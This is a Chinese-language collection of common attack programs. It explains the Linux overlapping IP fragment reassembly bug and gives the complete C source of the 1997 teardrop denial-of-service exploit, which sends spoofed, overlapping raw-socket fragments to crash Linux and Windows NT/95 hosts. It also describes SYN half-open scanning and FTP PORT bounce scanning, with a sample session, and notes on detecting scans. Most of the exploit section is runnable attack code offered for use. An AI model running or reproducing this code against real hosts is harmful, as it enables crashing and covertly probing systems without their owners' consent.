c源码：常用攻击程序.txt

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{ 
   register int nleft = len; 
   register int sum = 0; 
   u_short answer = 0; 

   while (nleft > 1) { 
      sum += *addr++; 
      nleft -= 2; 
   } 

   if (nleft == 1) { 
      *(u_char *)(&answer) = *(u_char *)addr; 
      sum += answer; 
   } 

   sum = (sum >> 16) + (sum + 0xffff); 
   sum += (sum >> 16); 
   answer = ~sum; 
   return(answer); 
} 



3 Teardrop 

    在Linux的ip包重组过程中有一个严重的漏洞。 
     
    在ip_glue()中： 

在循环中重组ip包： 
        fp = qp->fragments; 
        while(fp != NULL) 
        { 
                if(count+fp->len > skb->len) 
                { 
                    error_to_big; 
                } 
                memcpy((ptr + fp->offset), fp->ptr, fp->len); 
                count += fp->len; 
                fp = fp->next; 
        } 
这里只检查了长度过大的情况，而没有考虑长度过小的情况， 
如 fp->len<0 时，也会使内核拷贝过多的东西。 

计算分片的结束位置： 
        end = offset + ntohs(iph->tot_len) - ihl; 

当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的） 
是这样处理的： 
        if (prev != NULL && offset < prev->end) 
        { 
                i = prev->end - offset; 
                offset += i;    /* ptr into datagram */ 
                ptr += i;       /* ptr into fragment data */ 
        } 

        /* Fill in the structure. */ 
        fp->offset = offset; 
        fp->end = end; 
        fp->len = end - offset; //fp->len是一个有符号整数 

举个例子来说明这个漏洞： 
第一个碎片：mf=1 offset=0   payload=20 
敌二个碎片：mf=0 offset=10 payload=9 

这样第一个碎片的 end=0+20  
 offset=0 
这样第二个碎片的 end=9+10=19 
 offset=offset+（20-offset）=20 
     fp-〉len=19-20=-1； 

那么memcpy将拷贝过多的数据导致崩溃。 

     
/* 
 *  Copyright (c) 1997 route|daemon9  <[e-mail]> 11.3.97 
 * 
 *  Linux/NT/95 Overlap frag bug exploit 
 * 
 *  Exploits the overlapping IP fragment bug present in all Linux kernels and 
 *  NT 4.0 / Windows 95 (others?) 
 * 
 *  Based off of:   flip.c by klepto 
 *  Compiles on:    Linux, *BSD* 
 * 
 *  gcc -O2 teardrop.c -o teardrop 
 *      OR 
 *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING 
 */ 

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <netdb.h> 
#include <netinet/in.h> 
#include <netinet/udp.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <sys/socket.h> 

#ifdef STRANGE_BSD_BYTE_ORDERING_THING 
                        /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ 
#define FIX(n)  (n) 
#else                   /* OpenBSD 2.1, all Linux */ 
#define FIX(n)  htons(n) 
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */ 

#define IP_MF   0x2000  /* More IP fragment en route */ 
#define IPH     0x14    /* IP header size */ 
#define UDPH    0x8     /* UDP header size */ 
#define PADDING 0x1c    /* datagram frame padding for first packet */ 
#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */ 
#define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can 
                         * withstand maybe 5 or 10 sometimes...  Experiment. 
                         */ 

void usage(u_char *); 
u_long name_resolve(u_char *); 
u_short in_cksum(u_short *, int); 
void send_frags(int, u_long, u_long, u_short, u_short); 

int main(int argc, char **argv) 
{ 
    int one = 1,  
count = 0,  
i,  
rip_sock; 
    u_long  src_ip = 0, dst_ip = 0; 
    u_short src_prt = 0, dst_prt = 0; 
    struct in_addr addr; 

    fprintf(stderr, "teardrop   route|daemon9\n\n"); 

//建SOCK_RAW 
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) 
    { 
        perror("raw socket"); 
        exit(1); 
    } 
//由系统处理IP校验和。 
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) 
        < 0) 
    { 
        perror("IP_HDRINCL"); 
        exit(1); 
    } 

    if (argc < 3) usage(argv[0]); 
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) 
    { 
        fprintf(stderr, "What the hell kind of IP address is that?\n"); 
        exit(1); 
    } 

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF) 
    { 
        switch (i) 
        { 
            case 's':               /* source port (should be emphemeral) */ 
                src_prt = (u_short)atoi(optarg); 
                break; 
            case 't':               /* dest port (DNS, anyone?) */ 
                dst_prt = (u_short)atoi(optarg); 
                break; 
            case 'n':               /* number to send */ 
                count   = atoi(optarg); 
                break; 
            default : 
                usage(argv[0]); 
                break;              /* NOTREACHED */ 
        } 
    } 

    srandom((unsigned)(time((time_t)0))); 
    if (!src_prt) src_prt = (random() % 0xffff); 
    if (!dst_prt) dst_prt = (random() % 0xffff); 
    if (!count)   count   = COUNT; 

    fprintf(stderr, "Death on flaxen wings:\n"); 
    addr.s_addr = src_ip; 
    fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); 
    addr.s_addr = dst_ip; 
    fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt); 
    fprintf(stderr, " Amt: %5d\n", count); 
    fprintf(stderr, "[ "); 

    for (i = 0; i < count; i++) 
    { 
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); 
        fprintf(stderr, "b00m "); 
        usleep(500); 
    } 
    fprintf(stderr, "]\n"); 
    return (0); 
} 

/* 
 *  Send two IP fragments with pathological offsets.  We use an implementation 
 *  independent way of assembling network packets that does not rely on any of 
 *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). 
 */ 

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, 
                u_short dst_prt) 
{ 
    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */ 
    u_char byte;                            /* a byte */ 
    struct sockaddr_in sin;                 /* socket protocol structure */ 

    sin.sin_family      = AF_INET; 
    sin.sin_port        = src_prt; 
    sin.sin_addr.s_addr = dst_ip; 

    /* 
     * Grab some memory for our packet, align p_ptr to point at the beginning 
     * of our packet, and then fill it with zeros. 
     */ 
    packet = (u_char *)malloc(IPH + UDPH + PADDING); 
    p_ptr  = packet; 
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING); 

    byte = 0x45;                        /* IP version and header length */ 
    memcpy(p_ptr, &byte, sizeof(u_char)); 
    p_ptr += 2;                         /* IP TOS (skipped) */ 
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */ 
    p_ptr += 2; 
    *((u_short *)p_ptr) = htons(242);   /* IP id */ 
    p_ptr += 2; 
    *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */ 
    p_ptr += 2; 
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */ 
    byte = IPPROTO_UDP; 
    memcpy(p_ptr + 1, &byte, sizeof(u_char)); 
    p_ptr += 4;                         /* IP checksum filled in by kernel */ 
    *((u_long *)p_ptr) = src_ip;        /* IP source address */ 
    p_ptr += 4; 
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */ 
    p_ptr += 4; 
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */ 
    p_ptr += 2; 
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */ 
    p_ptr += 2; 
    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */ 

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, 
                sizeof(struct sockaddr)) == -1) 
    { 
        perror("\nsendto"); 
        free(packet); 
        exit(1); 
    } 

    /*  We set the fragment offset to be inside of the previous packet's 
     *  payload (it overlaps inside the previous packet) but do not include 
     *  enough payload to cover complete the datagram.  Just the header will 
     *  do, but to crash NT/95 machines, a bit larger of packet seems to work 
     *  better. 
     */ 
    p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */ 
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); 
    p_ptr += 4;                 /* IP offset is 6 bytes into the header */ 
    *((u_short *)p_ptr) = FIX(MAGIC); 

    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, 
                sizeof(struct sockaddr)) == -1) 
    { 
        perror("\nsendto"); 
        free(packet); 
        exit(1); 
    } 
    free(packet); 
} 

u_long name_resolve(u_char *host_name) 
{ 
    struct in_addr addr; 
    struct hostent *host_ent; 

    if ((addr.s_addr = inet_addr(host_name)) == -1) 
    { 
        if (!(host_ent = gethostbyname(host_name))) return (0); 
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); 
    } 
    return (addr.s_addr); 
} 

void usage(u_char *name) 
{ 
    fprintf(stderr, 
            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", 
            name); 
    exit(0); 
} 


4 Portscan 和  Antiportscan 

Portscan的两种主要方法： 
(1) Half-open（半打开） 
利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)， 
如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。 

(2) FTP scanner 
利用了FTP的port命令，例如可以这样作： 
选择一个FTP服务器，连上后令port命令指向目标机，如果返回 
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则 
该端口无服务。 
telnet 192.168.1.13  21 
Trying 192.168.1.13... 
Connected to pp.bricks.org. 
Escape character is '^]'. 
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)  
Thu May 7 23:18:05 EDT 1998) ready. 

user anonymous 
331 Guest login ok, send your complete e-mail address as password. 
pass [e-mail] 
230 Guest login ok, access restrictions apply. 
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口 

150 Opening ASCII mode data connection for file list. 
425 Can't build data connection: Connection refused. 
//该端口未活动 
150 Opening ASCII mode data connection for file list. 
226 Transfer complete. 
//该端口活动中 
但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。 

上述两种方法是通用的，而针对个别系统有一些特殊方法。 

如一些系统受到包后会作如下处理： 

    标志        活动的端口的应答       不活动端口的应答               

    SYN         SYN|ACK                 RST 或 Nothing 
    SYN|FIN     ACK or SYN|ACK*         RST 
    ACK         Nothing                 RST 
    0 flag      Nothing                 RST 

你最好是试一试。 

Antiport 
   一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读， 
若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认 
定它在向你做portscan。 

notes： 
早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手）， 
而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的 
都是向它scan。